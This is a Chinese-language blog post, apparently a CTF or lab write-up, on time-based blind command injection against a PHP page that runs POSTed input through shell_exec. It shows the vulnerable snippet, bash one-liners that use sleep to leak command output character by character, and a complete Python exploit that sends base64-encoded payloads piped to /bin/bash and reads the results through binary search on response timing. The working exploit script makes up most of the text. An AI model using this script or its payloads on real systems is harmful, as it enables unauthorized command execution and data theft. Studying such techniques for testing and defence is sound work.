当你遇到一个 Web 环境,可以执行命令,但是 Web 路径没有写权限,也没有回显,目标也不出网,怎么办?思考 SQL 注入中存在延时注入,是否我们也可以做到呢?下面就以 Linux 环境来尝试分析吧。
代码如此:
<?php
highlight_file(__FILE__);
error_reporting(0);
// Everything you want is in the root directory!
shell_exec($_POST['cmd']);
?>
我们想要盲注获得回显也需要像 SQL 注入中一个字符一个字符进行判断,这就用到 awk
和 cut
。简而言之,awk 可以取命令执行结果的行的内容,而 cut 可以取命令执行结果的列内容。下面这张图片很好的演示了如何搭配使用,我就不再赘述。
Linux 的 shell 中存在 sleep 命令,也可以存在 if 判断语句。
当输入 if [[ "1" == "1" ]]; then sleep 2; fi
会延时两秒钟。
除此之外,如果我们命令执行的结果还存在空格、换行等字符,会影响判断,但我们可以用 sed
命令进行替换。sed 's/ /_/g'
表示将执行结果的空格转换为 _
。sed ':a;N;$!ba;s/\n/,/g'
表示连接多行文本,并且将换行转换为 ,
如下的 bash 最终表示取执行结果(id)的某行某列的一个字符,如果满足 >=
那么则会休眠 3 s
if [[ `id|sed 's/ /_/g'|sed ':a;N;$!ba;s/\n/,/g'|awk NR==1| cut -c {column}` > \\{chr(mid)} ]] || [[ `id|sed 's/ /_/g'|sed ':a;N;$!ba;s/\n/,/g'|awk NR==1| cut -c {column}` == \\{chr(mid)} ]]; then sleep 3; fi
不过上面这个命令需要在 bash
下才可以进行,如果目标环境是 sh
则需要先转换为 base64
然后再 bash
。因此我最终给出如下的 Exp,适用于有 /bin/bash
文件的 Linux 机器。而且是用二分法,效率很高,平均每发出 6-7 次请求可以测出一个字符
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 17 2023
@author: Shule
"""
import base64
from datetime import datetime
import time
url = "url"
result = ""
import requests
for row in range(1, 30):
for column in range(1, 200):
left = 32
right = 126
cmd = 'id'
while left < right:
mid = int((left + right + 1) / 2)
cmds = f"if [[ `{cmd}|sed 's/ /_/g'|sed ':a;N;$!ba;s/\\n/,/g'|awk NR=={row}| cut -c {column}` > \\{chr(mid)} ]] || [[ `{cmd}|sed 's/ /_/g'|sed ':a;N;$!ba;s/\\n/,/g'|awk NR=={row}| cut -c {column}` == \\{chr(mid)} ]]; then sleep 2; fi"
cmds = base64.b64encode(cmds.encode("utf-8"))
cmds = cmds.decode("utf-8")
payload = f"""echo {cmds}|base64 -d|/bin/bash"""
data = {
"cmd": payload
}
start = int(datetime.now().timestamp() * 1000)
resp = requests.post(url=url, data=data)
end = int(datetime.now().timestamp() * 1000)
if end - start > 2000:
left = mid
else:
right = mid - 1
# time.sleep(0.2)
if right != 32:
result += chr(right)
print(result)
else:
break
至于 Windows 的 Exp。虽然没有 sleep
命令,可以尝试使用 ping -n 3 127.0.0.1
这样能有差不多 3 秒的延时。